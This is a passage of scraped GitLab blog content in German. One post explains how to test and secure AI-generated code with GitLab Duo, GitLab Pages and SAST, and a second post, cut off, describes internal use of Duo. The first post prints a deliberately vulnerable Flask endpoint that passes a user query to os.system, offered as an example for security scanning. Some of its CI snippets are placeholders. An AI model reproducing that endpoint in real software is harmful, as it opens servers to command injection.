 * [6. Testberichte erstellen](#6.-testberichte-erstellen)\n  * [7. Den Testbericht mit GitLab Pages bereitstellen](#7.-den-testbericht-mit-gitlab-pages-bereitstellen)\n  * [8. Testberichte in MR-Widgets einbetten](#8.-testberichte-in-mr-widgets-einbetten)\n* [Fallstudie: Zuverlässigkeit von KI mit Sicherheitsrichtlinien und Scannern](#fallstudie-zuverlässigkeit-von-ki-mit-sicherheitsrichtlinien-und-scannern)\n\n* [Lege noch heute los](#lege-noch-heute-los)\n\n* [Lies mehr über die Reihe „Entwicklung von GitLab Duo\"](#lies-mehr-über-die-reihe-„entwicklung-von-gitlab-duo“)\n\n\nDa KI zunehmend Bestandteil der Softwareentwicklung wird, ist die Gewährleistung der Sicherheit und das gründliche Testen von KI-generiertem Code von größter Bedeutung. Dieser Artikel ist eine Schritt-für-Schritt-Anleitung zur Kombination von [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), unserer Suite von KI-Funktionen zur Unterstützung des DevSecOps-Workflows, und [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/), um KI-generierten Code zu sichern und gründlich zu testen. Du erfährst, wie du typische Risiken minimieren kannst und wie du automatisch Tests generierst, Code testest und Testberichte erstellst, um die Zuverlässigkeit deines KI-generierten Codes zu verbessern.\n\n\n## Herausforderungen bei der Verwendung von KI-generiertem Code\n\n\nKI-generierter Code steht häufig vor folgenden Problemen:\n\n\n* Nicht übereinstimmende Algorithmen: Es können falsche oder suboptimale Algorithmen generiert werden.\n\n* Probleme mit Abhängigkeiten: KI-generierter Code kann Abhängigkeiten enthalten, die veraltet oder inkompatibel sind.\n\n* Sicherheitslücken: KI kann Code mit potenziellen Sicherheitsschwachstellen generieren.\n\n\nKI-generierter Code hat oft mit Problemen wie nicht übereinstimmenden Algorithmen, Abhängigkeitsproblemen und Sicherheitslücken zu kämpfen. Eine [kürzlich von der Association of Computing Machinery veröffentlichte Studie](https://dl.acm.org/doi/pdf/10.1145/3613904.3642596) zu den Antworten von ChatGPT auf Programmierfragen ergab, dass 52 % der Antworten falsche Informationen enthielten und 77 % zu ausführlich waren. Trotz dieser Mängel bevorzugten die Benutzer(innen) in 35 % der Fälle die umfassenden und gut formulierten Antworten von ChatGPT, wobei sie in 39 % der Fälle sogar Fehlinformationen übersahen. Die Bewältigung dieser Herausforderungen erfordert den Einsatz fortschrittlicher Tools und Frameworks.\n\n\n## Der Ansatz von GitLab für die Sicherheit und das Testen von KI\n\n\nGitLab hat eine umfassende Inhaltsstrategie, die sich auf die Integration von Sicherheitsmaßnahmen in den Entwicklungsworkflow konzentriert. Durch die Nutzung von GitLab Duo für die KI-gestützte Codegenerierung und GitLab Pages für die Einbettung von Testberichten können Entwickler(innen) sicherstellen, dass ihr KI-generierter Code sowohl sicher als auch zuverlässig ist.\n\n\nHier ist eine Schritt-für-Schritt-Anleitung für die Kombination von GitLab Duo und GitLab Pages, um durch die Implementierung eines [Flask-Webservers](https://flask.palletsprojects.com/en/3.0.x/) sicheren und gründlich getesteten KI-generierten Code zu gewährleisten.\n\n\n### 1. Ein neues Projekt auf GitLab.com erstellen\n\n\n* Gehe zu [GitLab.com](http://GitLab.com).\n\n* Klicke auf die Schaltfläche „Neues Projekt“.\n\n* Wähle „Leeres Projekt erstellen“ aus.\n\n* Gib einen Projektnamen ein (z. B. AI_Code_Security).\n\n* Lege die Sichtbarkeitsebene fest (öffentlich, intern oder privat).\n\n* Klicke auf „Projekt erstellen“.\n\n\n### 2. GitLab Duo-Codevorschläge aktivieren\n\n\n* Navigiere zu deinem Projekt.\n\n* Klicke auf die Schaltfläche „Web IDE“, um die Web IDE zu öffnen.\n\n* Stelle sicher, dass GitLab Duo-Funktionen wie Codevorschläge und Duo-Chat aktiviert sind. \n\n* Beginne mit der Programmierung in der [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/). Während du tippst, liefert GitLab Duo Codevorschläge, die dir helfen, effizienter zu programmieren.\n\n\n### 3. Einen Flask Webserver erstellen\n\n\nDu kannst mithilfe des Kommentars im Screenshot unten (grün hervorgehoben) einen Flask Webserver erstellen.\n\n\n![DGD-Testing – Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097192520.png)\n\n\n### 4. Tests mit GitLab Duo generieren\n\n\nUnit-Tests sind für die Validierung der Funktionalität des generierten Codes unerlässlich. Verwende den Befehl `/tests` von GitLab Duo, um [Testvorschläge direkt in der Web IDE zu generieren](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#write-tests-in-the-ide). Dieser Befehl kann mit zusätzlichen Anweisungen angepasst werden, um einen Fokus auf bestimmte Aspekte wie Leistung, Regression oder die Verwendung bestimmter Frameworks zu erreichen.\n\n\n#### Beispiel für die Verwendung in Web IDE:\n\n\n* Wähle den Code aus, für den du Tests generieren möchtest.\n\n* Verwende den Befehl `/tests` und füge bei Bedarf zusätzliche Anweisungen hinzu.\n\n\n![DGD-Testing – Bild 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097192521.png)\n\n\n### 5. Probleme mit KI-generiertem Code mithilfe von GitLab Duo Chat identifizieren\n\n\nVerwende GitLab Duo Chat, um KI-generierten Code zu überprüfen und zu optimieren. Wir können zum Beispiel den Code für unseren Flask Webserver auf Sicherheitslücken überprüfen:\n\n\n```unset\n\nPrompt: Überprüfe diesen Code auf potenzielle Sicherheitslücken und Abhängigkeitsprobleme.\n\n```\n\n\n![DGD-Testing – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097192523.png)\n\n\nGitLab Duo Chat kann helfen, die Sicherheitslücken im oben gezeigten Code zu identifizieren.\n\n\n### 6. Testberichte erstellen\n\n\nNachdem du deine Tests durchgeführt hast, erstellst du einen Testbericht, der mit GitLab Pages bereitgestellt wird.\n\n\n```unset\n\nPrompt: Schreibe mir ein Python-Skript, das einen Testbericht erstellt, der mit GitLab Pages bereitgestellt wird.\n\n```\n\n\n![DGD-Testing – Bild 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097192525.png)\n\n\nWas passiert hier?\n\n\n* Das Skript stellt sicher, dass das Verzeichnis test_reports existiert.\n\n* Es führt die Datei `test_server.py` mit `subprocess.run()` aus und erfasst die Ausgabe.\n\n* Die Rohausgabe wird in `test_reports/test_output.txt` gespeichert.\n  Es wird ein HTML-Bericht erstellt, der die Testausgabe aus Gründen der Lesbarkeit in die `\u003Cpre>`-Tags einbettet und als `test_reports/index.html` gespeichert wird.\n\n### 7. Den Testbericht mit GitLab Pages bereitstellen\n\n\nVerwende [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/), um den Testbericht zu hosten und anzuzeigen. Hier ist die Konfiguration für unsere Datei `.gitlab-ci.yml`, um den Testbericht bereitzustellen.\n\n\n```python\n\nstages:\n  - test\n  - deploy\ntest_job:\n  stage: test\n  script:\n    - python generate_test_report.py\n  artifacts:\n    paths:\n      - test_reports/\npages:\n  stage: deploy\n  script:\n    - mv test_reports public\n  artifacts:\n    paths:\n      - public\n```\n\n\nBei dieser Konfiguration führt die Phase `test_job` das Python-Skript aus, um den Testbericht zu erstellen. Die Phase `pages` verschiebt das Verzeichnis `test_reports` in den Pfad `public`, wo GitLab Pages den Inhalt bereitstellt.\n\n\n### 8. Testberichte in MR-Widgets einbetten\n\n\nDie Einbettung der [Testberichte in MR-Widgets](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html) bietet einen sofortigen Einblick in die Testergebnisse und gewährleistet Transparenz und Zuverlässigkeit. Dazu kannst du den Testbericht als Artefakt in die Konfiguration deiner CI/CD-Pipeline aufnehmen:\n\n\n```python\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - mkdir -p test-reports\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - mv test-reports .public/\n  artifacts:\n    paths:\n      - .public\n```\n\n\nIndem du den Testbericht als Artefakt einfügst und ihn im Abschnitt „reports“ angibst, zeigt GitLab die Testergebnisse automatisch in den MR-Widgets an, was einen sofortigen Einblick in die Testergebnisse ermöglicht und die Transparenz und Zuverlässigkeit erhöht.\n\n\n## Fallstudie: Zuverlässigkeit von KI mit Sicherheitsrichtlinien und Scannern\n\n\nStell dir ein Szenario vor, in dem ein KI-generierter Codeschnipsel eine Abhängigkeit verwendet, die bekannte Sicherheitslücken aufweist. Durch die Verwendung von GitLab Duo und den integrierten Sicherheitsrichtlinien würde diese Abhängigkeit bei der Codeerstellung gekennzeichnet. Das folgende Beispiel wurde von der KI erstellt:\n\n\n```python\n\nimport os\n\nfrom flask import Flask, request\n\n\napp = Flask(__name__)\n\n\n@app.route('/search')\n\ndef search():\n    query = request.args.get('query')\n    execute_os_command(query)\n    return 'You searched for: ' + query\n\ndef execute_os_command(command):\n    os.system(command)\n\nif __name__ == '__main__':\n    app.run()\n```\n\n\nDer Suchendpunkt in diesem Beispiel ist anfällig für OS Command Injection. Durch den Einsatz der GitLab-Komponente Statische Anwendungssicherheitstests ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) würde diese Sicherheitslücke bereits in der CI/CD-Pipeline entdeckt werden.\n\n\n#### SAST-Scans integrieren, um Sicherheitslücken zu erkennen\n\n\nGitLab SAST analysiert deinen Code automatisch auf Sicherheitslücken. So kannst du es in deine `.gitlab-ci.yml`-Datei integrieren, um nach Problemen zu suchen:\n\n\n```python\n\nstages:\n  - build\n  - test\n  - sast\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\nsast_job:\n  stage: sast\n  script:\n    - echo \"Running SAST...\"\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  only:\n    - branches\n\npages:\n  stage: deploy\n  script:\n    - mv test-reports public\n  artifacts:\n    paths:\n      - public\n```\n\n\nIn dieser Konfiguration wird SAST in der Phase `sast_job` ausgeführt, um Sicherheitslücken im Code zu erkennen, und einen Bericht (`gl-sast-report.json`) zu erstellen, der in die Pipeline-Artefakte aufgenommen wird. Durch die Integration von Sicherheitsrichtlinien und robusten Test-Frameworks hilft GitLab Duo Kund(inn)en dabei, sicherzustellen, dass ihr KI-generierter Code sowohl effizient als auch sicher ist.\n\n\n## Lege noch heute los\n\n\nDie Integration von KI in die Softwareentwicklung bringt erhebliche Vorteile, aber auch neue Herausforderungen mit sich. Durch die Verwendung von Tools wie GitLab Duo und GitLab Pages können Entwickler(innen) sicherstellen, dass ihr KI-generierter Code sicher, gut getestet und zuverlässig ist. Erkunde diese Tools noch heute und beteilige dich an der Diskussion über die Verbesserung der Sicherheit und des Testens von KI.\n\n\n>  [Starte noch heute eine Testversion von GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial), um GitLab Duo und GitLab Pages auszuprobieren.\n\n\n## Lies mehr über die Reihe „Entwicklung von GitLab Duo“\n\n\n* [Entwicklung von GitLab Duo: Wie wir KI-Modelle im großen Maßstab validieren und testen](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n\n* [Entwicklung von GitLab Duo: KI-Impact-Analyse-Dashboard misst den ROI von KI](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n* [Entwicklung von GitLab Duo: Dogfooding unserer KI-Funktionen](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n",[3063],"Entwicklung von GitLab Duo: Sicheres und gründliches Testen von KI-generiertem Code",[679,787,767,765],{"slug":3206,"featured":6,"template":682},"how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","content:de-de:blog:how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","How Gitlab Duo Helps Secure And Thoroughly Test Ai Generated Code","de-de/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","de-de/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"_path":3212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3213,"content":3219,"config":3224,"_id":3226,"_type":16,"title":3227,"_source":17,"_file":3228,"_stem":3229,"_extension":20},"/de-de/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"title":3214,"description":3215,"ogTitle":3214,"ogDescription":3215,"noIndex":6,"ogImage":3216,"ogUrl":3217,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3217,"schema":3218},"Entwicklung von GitLab Duo: Dogfooding unserer KI-Funktionen","Im Rahmen unserer Blog-Reihe zeigen wir mithilfe von Beispielen aus der Praxis, wie wir KI in den Lebenszyklus unserer Softwareentwicklung integrieren und ihren Erfolg anhand von Metriken messen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098360/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098360821.png","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Entwicklung von GitLab Duo: Dogfooding unserer KI-Funktionen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-20\",\n      }\n                  ",{"title":3214,"description":3215,"authors":3220,"heroImage":3216,"date":3221,"body":3222,"category":677,"tags":3223},[3063],"2024-05-20","***Generative KI bedeutet einen monumentalen Wandel in der Softwareentwicklungsbranche, da sie es einfacher macht, Software zu entwickeln, zu sichern und zu betreiben. Unsere neue Blog-Serie von unseren Produkt- und Entwicklungsteams gibt einen Einblick darin, wie wir die KI-Funktionen erstellen, testen und bereitstellen, die in deinem Unternehmen benötigt werden. Lerne neue Funktionen innerhalb von GitLab Duo kennen und erfahre, wie diese DevSecOps-Teams dabei helfen werden, bessere Ergebnisse für Kund(inn)en zu erzielen.***\n\n[GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), unsere Suite von KI-gestützten Funktionen, hat unsere internen technischen Workflows verändert und die Effizienz in unserem gesamten Entwicklungsprozess gesteigert. Da wir völlig überzeugt sind von Dogfooding und Transparenz, möchten wir zeigen, wie unsere Teams täglich KI einsetzen, einschließlich hervorragender Produkte wie GitLab Duo Codevorschläge und GitLab Duo Chat, um Entwicklungsprozesse zu rationalisieren, den manuellen Aufwand zu reduzieren und die Produktivität zu steigern. Du wirst mehr über die Vorteile erfahren, von denen hochtechnische Teams wie das Engineering-Team und auch weniger technische Teams wie das Dokumentations- und das Produktmanagementteam profitiert haben.\n\n> Live-Demo! Entdecke die Zukunft von KI-gesteuerter Softwareentwicklung mit unserer virtuellen Produktpräsentation zu GitLab 17. [Registriere dich noch heute!](https://about.gitlab.com/seventeen/)\n\n## Anwendungsfälle aus der Praxis\n\nUnsere Teams haben die [vielen Funktionen von GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/#features) in ihre täglichen Abläufe integriert. Hier sind einige Beispiele dafür, wie GitLab Duo den verschiedenen Teams bei der Durchführung alltäglicher Aktivitäten hilft.\n\n### Zusammenfassung und Dokumentation\n\n- **Code-Review-Prozess optimieren:** Teammitglied und Backend-Entwicklerin [Gosia Ksionek](https://about.gitlab.com/company/team/#mksionek) zeigt die praktischen Vorteile von KI in ihrem Workflow auf. Zur Optimierung des Code-Review-Prozesses verwendet sie GitLab Duo. Sie nutzt GitLab Duo effektiv, um [Merge Requests zusammenzufassen](https://youtu.be/3SIhe8dgFEc). Dadurch können Codeänderungen einfacher und schneller geprüft werden. Gosia fasst mit GitLab Duo nicht nur Merge Requests zusammen, sondern setzt es auch ein, um [Fragen zur Programmierung zu beantworten](https://www.youtube.com/watch?v=6n0I53XsjTc) und [komplexe Code-Schnipsel zu erklären](https://www.youtube.com/watch?v=3m2YRxa1SCY). So steigert sie ihre Produktivität und kann komplizierte Codebases besser verstehen und verwalten. Anhand dieser Demonstrationen zeigt Gosia, wie GitLab Duo die Effizienz und Klarheit im Entwicklungsprozess deutlich verbessern kann und damit unschätzbar wertvoll für Entwickler(innen) ist.\n\n\u003Ccenter>\n\nSieh dir an, wie Gosia die GitLab Duo Merge Request-Zusammenfassung verwendet:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3SIhe8dgFEc?si=Q8JG3Ix3K_THhbpv\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nSieh dir an, wie Gosia GitLab Duo verwendet, um Fragen zur Programmierung zu beantworten: \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6n0I53XsjTc?si=LA9VBHrgXpfJImSL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nSieh dir an, wie Gosia mit GitLab Duo komplexe Code-Schnipsel erklärt:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3m2YRxa1SCY?si=oms3szKwZoz-4yeq\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n- **Kommentar-Threads zusammenfassen:** [Bartek Marnane](https://about.gitlab.com/company/team/#bmarnane), Vice President of Expansion Software Development, fasst mit GitLab Duo lange Kommentar-Threads kompakt zusammen und stellt dabei sicher, dass alle relevanten Details bei der Aktualisierung der Ticketbeschreibungen erfasst werden.\n\n- **Neue Dokumentation erstellen:** [Taylor McCaslin](https://about.gitlab.com/company/team/#tmccaslin), Group Manager, Product – Data Science Section, hat GitLab Duo genutzt, um [für GitLab Duo selbst neue Dokumentation zu erstellen](https://docs.gitlab.com/ee/user/ai_features.html). Dies ist ein Beispiel für einen Meta-Anwendungsfall, der die Klarheit und Konsistenz verbessert und die Zeit für die Dokumentation neuer Funktionen erheblich reduziert.\n\n- **Versionshinweise erstellen:** [Amanda Rueda](https://about.gitlab.com/company/team/#amandarueda), Senior Product Manager des Produktplanungsteams, verwendet GitLab Duo, um [kurze, wirkungsvolle Zusammenfassungen für Versionshinweise zu erstellen](https://gitlab.com/groups/gitlab-org/-/epics/10267) und dabei die Änderungen und deren Wert für die Benutzer(innen) hervorzuheben. Durch die Verwendung gut formulierter Prompts wie den folgenden stärkt Amanda ihren Workflow und stellt sicher, dass jeder Versionshinweis klar, prägnant und benutzerorientiert ist. Dadurch werden die gesamte Kommunikation und das Benutzererlebnis verbessert:\u003Cbr>\u003Cbr>\n*„Bitte erstelle eine Zusammenfassung dieser Änderung in zwei Sätzen, die für unsere Versionshinweise verwendet werden kann. Der Ton sollte umgangssprachlich sein und in der zweiten Person verfasst werden. Die Zusammenfassung sollte eine Beschreibung des Problems oder der Änderung enthalten und mit dem Wert verbunden sein, den wir für euch, die Benutzer(innen), schaffen.“*\n\u003Cbr>\u003Cbr>\n\n- Hier sind einige Beispiele für Versionshinweise, die gemeinsam mit GitLab Duo erstellt wurden:\n  - [Erweiterte Optionen zum Sortieren eurer Roadmap](https://gitlab.com/gitlab-org/gitlab/-/issues/460492)\n  - [Jetzt Ticketübersicht-Klarheit mit Meilenstein und Iteration](https://gitlab.com/gitlab-org/gitlab/-/issues/25758)\n  - [Design-Management-Funktionen auf Produktteams erweitert](https://gitlab.com/gitlab-org/gitlab/-/issues/438829)\n\n- **Optimierung der Navigation auf der Seite des Dokumentationsteams:** [Suzanne Selhorn](https://about.gitlab.com/company/team/#sselhorn), Teammitglied und Technische Redakteurin, setzte GitLab Duo ein, um [die linke Navigationsseite der Dokumentationsabteilung zu optimieren](https://docs.gitlab.com/ee/user/get_started/get_started_projects.html). Dazu stellte sie eine workflowbasierte Reihenfolge der Seiten bereit. Suzanne stellte GitLab Duo eine Liste von Funktionen zur Verfügung, womit die optimale Reihenfolge generiert und die linke Navigation entsprechend aktualisiert wurde. GitLab Duo hat auch einen Entwurf der Dokumentation für die [Ersten Schritte](https://docs.gitlab.com/ee/user/get_started/get_started_planning_work.html) viel schneller erstellt, als wenn Suzanne mit traditionellen, manuellen Methoden arbeiten würde.\n\n### Zielsetzung und Teamausrichtung\n\n- **Entwerfen und Verfeinern von OKRs:** [François Rosé](https://about.gitlab.com/company/team/#francoisrose), Engineering Manager, Entwicklung: Code-Review-Backend, betrachtet [GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) als unschätzbar wertvoll für den Entwurf und die Verfeinerung von OKRs. Indem er Ziele klarer und effektiver formuliert, verbessert François die Zielsetzung und die Ausrichtung des Teams. Mit Chat stellt François sicher, dass alle OKRs präzise, umsetzbar und auf die Ziele des Teams ausgerichtet sind. Dadurch werden die Gesamtleistung und der Zusammenhalt des Teams verbessert. Hier ist ein Beispiel für einen Prompt, den er verwendet:\u003Cbr>\u003Cbr>\n\n    *„Hier ist ein OKR, das ich erstellen möchte:*\n\n    *Ziel: Rückblick auf Retrospektiven, um ein erfolgreiches Team zu fördern*\n\n    *Schlüsselergebnis: Messe die rückwirkende Zufriedenheit von 100 % der Teammitglieder*\n\n    *Schlüsselergebnis: Identifiziere 3 Verbesserungen für die asynchronen Retrospektiven*\n\n    *Schlüsselergebnis: Setze 1 Verbesserung um*\n\n    *Bitte stelle direktes Feedback bereit, wie die Formulierung dieses Ziels und dieser Schlüsselergebnisse verbessert werden können.“*\n\u003Cbr>\u003Cbr>\n\n- **Optimierte Einstellungs- und Rekrutierungsprozesse:** Sieh dir Chat in Aktion an, wie die Funktion [Denys Mishunov](https://about.gitlab.com/company/team/#dmishunov), Teammitglied und Frontend Engineer, dabei geholfen hat, einen klaren und prägnanten Text für [die Aktualisierung der E-Mail-Vorlage für technische Bewerber(innen)](https://gitlab.com/gitlab-com/people-group/hiring-processes/-/merge_requests/2165#note_1904898688) zu formulieren. Sieh dir an, wie das Team bei der Verbesserung der Kommunikation zusammenarbeitet, um so sicherzustellen, dass die Bewerber(innen) alle notwendigen Informationen mithilfe eines Merge Request erhalten. Dieses Beispiel zeigt die praktische Anwendung von KI-Tools zur Verbesserung der Kommunikationsprozesse innerhalb des Einstellungsworkflows.\n\n### Reaktion auf Vorfälle und Konfiguration\n- **Zusammenfassen von Produktionsvorfällen:** [Steve Xuereb](https://about.gitlab.com/company/team/#sxuereb), Site Reliability Engineer im Team, verwendet GitLab Duo, um Produktionsvorfälle zusammenzufassen und detaillierte Vorfall-Reviews zu erstellen und so den Dokumentationsprozess zu optimieren.\n\n- **Boilerplate für ‚.gitlab-ci.yml‘-Dateien erstellen:**  Steve verwendet Chat auch, um eine Boilerplate für ‚.gitlab-ci.yml‘ -Dateien zu erstellen, was seinen Workflow erheblich beschleunigt hat. [Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) dient als wertvoller Partner für Ideenvorschläge. Darüber hinaus bietet [Code-Erklärung](https://docs.gitlab.com/ee/user/ai_features.html#code-explanation) detaillierte Antworten, die bei Vorfällen hilfreich sind und seine Produktivität und sein Verständnis der Codebase verbessern.\n\n### Codegenerierung und Tests\n- **Full-Stack-Entwicklung:** [Peter Hegman](https://about.gitlab.com/company/team/#peterhegman), Senior Frontend Engineer, hat [Codevorschläge für seine JavaScript- und Ruby-Entwicklung](https://gitlab.com/gitlab-org/gitlab/-/issues/435783#note_1731321963) verwendet. Dies zeigt, dass Codevorschläge zu einem leistungsstarken Tool für Entwickler(innen) bei technischen Fullstacks geworden sind. \n\n- **Generieren von Python-Skripten:** Denys hat [ein Experiment mit GitLab Duo für eine nicht zu GitLab gehörende Aufgabe](https://gitlab.com/gitlab-org/ai-powered/ai-framework/ai-experimentation) durchgeführt. Dieses Beispiel verdeutlicht die Flexibilität und den Nutzen unserer KI-Tools über typische Softwareentwicklungsaufgaben hinaus.\n\n\u003Ccenter>\nSieh dir an, wie Denys mit GitLab Duo Python-Skripte generiert, um Inhaltsdaten abzurufen und lokal zu speichern:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/30ZTtk4K5yU?si=p5ZcFLg6dTZL5gFE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n### Forschung und Support\n- **Generieren von Test-Quellcode:**  [Michael Friedrich](https://about.gitlab.com/company/team/#dnsmichi), Senior Developer Advocate, verwendet GitLab Duo, um Test-Quellcode für CI/CD-Komponenten zu generieren. Dieser Ansatz wurde in verschiedenen Vorträgen und Präsentationen wie bei der jüngsten Veranstaltung „Open Source @ Siemens“ ([öffentliche Folien](https://go.gitlab.com/duA2Fc)) vorgestellt. Die Verwendung von GitLab Duo auf diese Weise trägt dazu bei, dass der Code konsistent und gut dokumentiert ist und mit unseren Best Practices übereinstimmt. Sieh dir sein [Rust-Beispiel](https://gitlab.com/components/rust#contributing) an.\n\n![Beispiel für Rust](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098367547.png)\n\n- **Optimieren von Forschungsaufgaben:** Unsere Teammitglieder nutzen bei Fragen zu GitLab-Funktionen regelmäßig Chat, und optimieren so ihre Forschungs- und Supportaufgaben. Michael teilte mit: „Wenn ich eine Frage zu GitLab-Funktionen habe, verwende ich standardmäßig Chat, anstatt 100 Browser-Tabs zu öffnen. Dieser Workflow hilft mir dabei, die Benutzer(innen) in unserem Community-Forum effizient zu unterstützen. Zum Beispiel habe ich kürzlich mit dieser Methode [einem/r Benutzer(in) bei der SSH-Bereitstellung geholfen](https://forum.gitlab.com/t/how-to-make-ssh-deployment-more-clear-in-gitlab/102051/4?u=dnsmichi).“ Die Verwendung von Chat spart nicht nur Zeit, sondern wir erhalten auch schnell genaue Informationen und verbessern so den Support, den wir unserer Community anbieten.\n\n### Funktionstests\n- **Testen neuer Funktionen:** Unsere Ingenieure verwenden GitLab Duo, um neue Funktionen wie [Markdown-Unterstützung in Codevorschlägen](https://gitlab.com/gitlab-org/gitlab/-/issues/443365) zu testen. Eines unserer Teammitglieder merkte an: „Ich muss die Markdown-Unterstützung in Codevorschlägen testen, um Blog-Posts und GitLab-Dokumente in VS Code zu schreiben. Ich habe gesehen, dass die Unterstützung für Version 17.0 zusammengeführt wurde.“ Indem wir diese Funktionen vor der Veröffentlichung intern testen, stellen wir sicher, dass sie unseren Qualitätsstandards entsprechen.\n\n### Verständnis externer Codebases\n- **Erklären externer Projekte:** Die Funktion ‚/explain‘ von GitLab Duo ist besonders nützlich, um externe Projekte zu verstehen, die in GitLab importiert wurden. Diese Fähigkeit hat er kürzlich in einem Livestream mit dem Open-Source-Experten Eddie Jaoude hervorgehoben. Michael teilte uns mit: „Ich verwende ‚/explain` bei externen Projekten, um den Quellcode zu verstehen. Ich habe diese Idee für das Lernen über Open-Source-Projekte, Abhängigkeiten usw. während des Livestreams vorgestellt.“ Diese Funktion ist von unschätzbarem Wert für Entwickler(innen), die die Funktionalität und Abhängigkeiten unbekannter Codebases schnell erfassen müssen. So sind sie bedeutend effizienter und ihr Verständnis ist sehr viel besser.\n\n\u003Ccenter>\nSieh dir an, wie Michael ‚/explain` während eines Livestreams mit Eddie Jaoude vorstellt:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/L2Mx8hOhkEE?si=R7W3v4EDqeJCaPOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C/center>\n\n## Vorteile von GitLab Duo\n\nDie Integration von GitLab Duo hat zahlreiche positive Auswirkungen mit sich gebracht und unsere Workflows in den Bereichen Engineering und Produktentwicklung erheblich verbessert:\n\n- Viele Aufgaben, bei denen zuvor manuell eingegriffen werden musste, werden jetzt automatisiert, wodurch unsere Ingenieure wertvolle Zeit gewinnen. Zum Beispiel sind das Zusammenfassen langer Threads und das Erstellen von Boilerplate-Code jetzt effizienter, sodass sich unser Team auf komplexere Probleme konzentrieren kann.\n\n- Die Zeit, die für die Dokumentation und Zusammenfassung von Tickets benötigt wird, hat sich verringert, was eine schnellere Verbreitung von Informationen und Entscheidungsfindung ermöglicht.\n\n- Mit KI-gestützten Codevorschlägen und -erklärungen erstellen unsere Teams qualitativ hochwertigeren Code mit weniger Fehlern und schnelleren Debugging-Prozessen. Die Integration von GitLab Duo in Vorfall-Reviews und die Unterstützung bei der Programmierung hat zu effizienteren und effektiveren Code-Reviews geführt.\n\n- Administrative Aufgaben wie der Entwurf von OKRs und das Erstellen von Versionshinweisen wurden optimiert. \n\nGitLab Duo hat nicht nur dazu beigetragen, unsere Effizienz zu steigern, sondern auch die Qualität und Geschwindigkeit unserer Entwicklungsprozesse zu verbessern, was die transformationelle Kraft von KI in der Softwareentwicklung verdeutlicht.\n\n## Wie geht 